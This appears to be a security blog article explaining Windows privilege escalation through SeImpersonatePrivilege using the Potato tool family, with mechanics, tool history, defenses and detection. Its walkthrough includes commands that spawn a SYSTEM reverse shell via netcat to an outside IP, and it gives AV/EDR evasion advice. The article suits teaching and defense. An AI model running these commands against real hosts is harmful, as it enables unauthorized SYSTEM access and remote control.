Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
SeImpersonatePrivilege lets a process impersonate the security context of a client that connects to it — the mechanism that lets a web server, RPC endpoint, or named-pipe server act *as* the caller for the duration of a request, without needing that caller’s password. Windows grants this privilege by default to NT AUTHORITY\LOCAL SERVICE, NT AUTHORITY\NETWORK SERVICE, NT AUTHORITY\SYSTEM, and members of BUILTIN\Administrators — which means it is also routinely present on the exact service accounts (IIS application pool identities, MSSQL, and countless other SYSTEM-adjacent services) that a web shell or RCE bug most commonly lands code execution as. The Potato family of tools abuses this privilege to trick a genuinely SYSTEM-level service into authenticating to a listener the attacker controls, capture that SYSTEM authentication as an impersonation token, and use it to spawn a fully privileged process.
This is one of the highest-value and most reliable Windows local privilege escalation primitives in modern engagements precisely because it does not depend on a missing patch or a misconfigured file ACL — it depends on a privilege that is *supposed* to be there for legitimate service accounts. Landing a low-privileged web shell on an IIS box and finding SeImpersonatePrivilege enabled is, in practice, close to an automatic SYSTEM shell.
Attack Prerequisites
Unlike most privilege escalations in this series, the Potato family does not require a coding bug or ACL misconfiguration — it requires an inherent OS privilege grant that is simply very common:
- A process context that already holds
SeImpersonatePrivilege— confirm withwhoami /priv; this is on by default forLOCAL SERVICE,NETWORK SERVICE, most IIS application pool identities, and many other built-in service accounts, even though those accounts are otherwise low-privileged. - Code execution as that account — typically arrived at via a web application vulnerability (file upload, deserialization, SSRF, SQLi-to-RCE) landing a web shell under an IIS AppPool identity, or a SQL Server
xp_cmdshellcontext. - A local coercion path the specific Potato variant relies on — a reachable COM/DCOM activation service, the Print Spooler RPC endpoint, or the RPC OXID resolver, depending on which tool is in play (see lineage below); most are Windows-version dependent.
- Ability to execute an arbitrary binary on the host to run the chosen Potato tool.
How It Works
The underlying trick across the whole family is a local NTLM relay / reflection against a SYSTEM-run service that can be coerced into authenticating to an attacker-controlled endpoint on localhost. The attacker stands up a fake OXID resolver or named pipe listener, triggers a SYSTEM component into connecting to it (via COM/DCOM activation, print job notification, or an RPC call), captures the NTLM negotiation that SYSTEM performs against the listener, and authenticates it locally. Because SeImpersonatePrivilege allows the calling process to call ImpersonateLoggedOnUser on the resulting token, the attacker’s process ends up holding an impersonation-level SYSTEM token — which is enough to call CreateProcessAsUser/CreateProcessWithTokenW and spawn a fully SYSTEM process, even though the attacker never had SYSTEM’s credentials.
The lineage matters because each generation patches the specific coercion channel the previous one used. RottenPotato (2016) was first, abusing BITS/RPCSS COM marshaling to force a SYSTEM component to authenticate over a local NTLM relay. Microsoft’s mitigations against local NTLM reflection led to RottenPotatoNG and then Juicy Potato, which found that impersonating specific hardcoded CLSIDs bypassed the fix on Windows 7 through Server 2016 / early Server 2019 — but later fixes removed the usable CLSIDs on patched systems, retiring classic Juicy Potato. PrintSpoofer (2020) moved off COM and instead abuses the Print Spooler RPC named pipe (\pipe\spoolss) to coerce SYSTEM authentication, working reliably wherever the Spooler service runs. RoguePotato and GodPotato generalized further with a rogue OXID resolver reachable over RPC, restoring the technique where the Spooler is disabled — GodPotato is documented to work from Server 2012 through Server 2022. JuicyPotatoNG revived the CLSID approach for post-mitigation Windows 10/11 and Server builds.
Every variant ends at the same place: an impersonation token for SYSTEM, obtained without ever needing SYSTEM’s password or a kernel exploit, purely by exploiting the fact that a privileged service account was allowed to impersonate whatever authenticates to it — and a low-privileged process happened to hold the one privilege needed to make use of that token.
Vulnerable Code / Configuration
There is no application bug to show here — the exploitable “configuration” is the privilege token itself. whoami /priv on a compromised service account is the entire vulnerable state:
C:\inetpub\wwwroot> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeImpersonatePrivilege Impersonate a client after auth Enabled
C:\inetpub\wwwroot> whoami /user
USER INFORMATION
-----------------
User Name SID
======================= =============================================
iis apppool\defaultapppool S-1-5-82-...
# A low-privileged IIS AppPool identity, but SeImpersonatePrivilege
# is Enabled -> the Potato technique applies directly.
The Print Spooler dependency PrintSpoofer needs is equally worth confirming, since a hardened image may have disabled it after PrintNightmare-era mitigations:
C:\> sc query spooler
SERVICE_NAME: spooler
STATE : 4 RUNNING
# If STOPPED/disabled, use GodPotato/RoguePotato (OXID resolver)
# instead of PrintSpoofer (which needs the spooler pipe).
Walkthrough / Exploitation
Confirm the privilege, pick the tool that matches the target OS/service availability, and run it. PrintSpoofer is the standard choice when the Print Spooler service is running:
C:\Temp> whoami /priv | findstr /i Impersonate
SeImpersonatePrivilege Impersonate a client after auth Enabled
C:\Temp> PrintSpoofer64.exe -i -c "cmd /c whoami"
nt authority\system
C:\Temp> PrintSpoofer64.exe -c "cmd /c C:\Temp\nc64.exe -e cmd 10.10.14.5 443"
If the Spooler is disabled or PrintSpoofer fails, GodPotato covers a wider range of modern builds via its own rogue OXID resolver:
C:\Temp> GodPotato.exe -cmd "cmd /c whoami"
nt authority\system
C:\Temp> GodPotato.exe -cmd "cmd /c C:\Temp\nc64.exe -e cmd 10.10.14.5 443"
For Windows builds where the CLSID-based approach still works, JuicyPotatoNG accepts a target CLSID (or * to try all known-good ones) and a listener port:
C:\Temp> JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c whoami" -l 1337
nt authority\system
All three approaches converge on the same effect: a CreateProcess call executed with a SYSTEM impersonation token, which is enough to spawn a fully interactive SYSTEM shell or add the compromised account to BUILTIN\Administrators for persistence.
Note: Not every Potato variant works on every Windows build — treat the lineage as a fallback ladder: try PrintSpoofer first if the Spooler is running, fall back to GodPotato or RoguePotato (OXID resolver, no Spooler dependency) on hardened or newer builds, and reach for JuicyPotatoNG specifically when a CLSID-based bypass is confirmed to still apply to the target OS version. Classic RottenPotato and original Juicy Potato are unreliable to non-functional on fully patched modern Windows.
Opsec: These tools are heavily signatured by AV/EDR both by binary hash and by behavior (a low-privileged process spawning a named pipe listener and then a
CreateProcessWithTokenWcall as SYSTEM is a very distinctive pattern) — expect detection unless the tool is recompiled/obfuscated, and prefer running from memory over dropping the executable to disk where the engagement rules allow it.
Detection and Defense
SeImpersonatePrivilege cannot simply be revoked from every service account without breaking core OS functionality, so defense focuses on reducing exposure and catching the coercion behavior:
- Remove
SeImpersonatePrivilegefrom service accounts that do not need it via Local/Group Policy (User Rights Assignment), reserving it for accounts that genuinely require impersonation. - Run services with the least-privileged viable account — a custom low-rights service account instead of a built-in SYSTEM-adjacent identity reduces the value of a token capture even if the coercion succeeds.
- Disable the Print Spooler service on servers that do not need printing (a standard hardening step post-PrintNightmare) to close the PrintSpoofer-specific path.
- Sysmon Event ID 1 for known Potato-tool process names/hashes, and for suspicious child processes spawned by IIS worker processes (
w3wp.exe) orsqlservr.exerunning as SYSTEM shortly after a low-privileged request. - Sysmon Event ID 17/18 (named pipe created/connected) for anomalous pipes matching the pattern Potato variants create during the local relay.
- Windows Defender Attack Surface Reduction / EDR behavioral rules targeting token impersonation and
CreateProcessWithTokenWfrom non-SYSTEM parents.
Real-World Impact
The Potato technique lineage is one of the most consistently used Windows local privilege escalation paths in real engagements because it directly closes the gap between “got a web shell on IIS” and “have SYSTEM,” without needing a kernel exploit or missing patch. It is a staple in CTFs, OSCP-style labs, and red-team engagements against any Windows host running IIS, MSSQL, or other services under SeImpersonatePrivilege-holding accounts, and GodPotato/PrintSpoofer specifically remain effective against current, fully patched Windows Server releases because the underlying privilege design has not changed.
Conclusion
The Potato family works because SeImpersonatePrivilege is granted broadly to service accounts by design, and impersonating a captured SYSTEM authentication is a documented, intended Windows API capability rather than a bug in any single component. Each generation of the tooling simply found a new way to coerce a privileged service into authenticating locally after the previous coercion channel was closed — which means the durable defense is reducing which accounts hold the privilege and which coercion surfaces (Spooler, exposed COM/RPC endpoints) are reachable at all, not chasing each individual tool release.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:
Comments